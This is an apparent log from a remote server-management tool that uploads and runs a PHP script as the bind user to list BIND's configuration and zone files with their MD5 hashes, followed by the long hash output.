MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 14:45:43: Establishing a connection
2026-04-28 14:45:43: 

PUT: /tmp/pkp379622

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 14:45:43: 

runuser -l bind -s /bin/bash -c '/tmp/pkp379622; rm /tmp/pkp379622'

2026-04-28 14:45:43: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 14:45:44: Establishing a connection
2026-04-28 14:45:45: 

PUT: /tmp/pkp194963

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 14:45:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp194963; rm /tmp/pkp194963'

2026-04-28 14:45:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
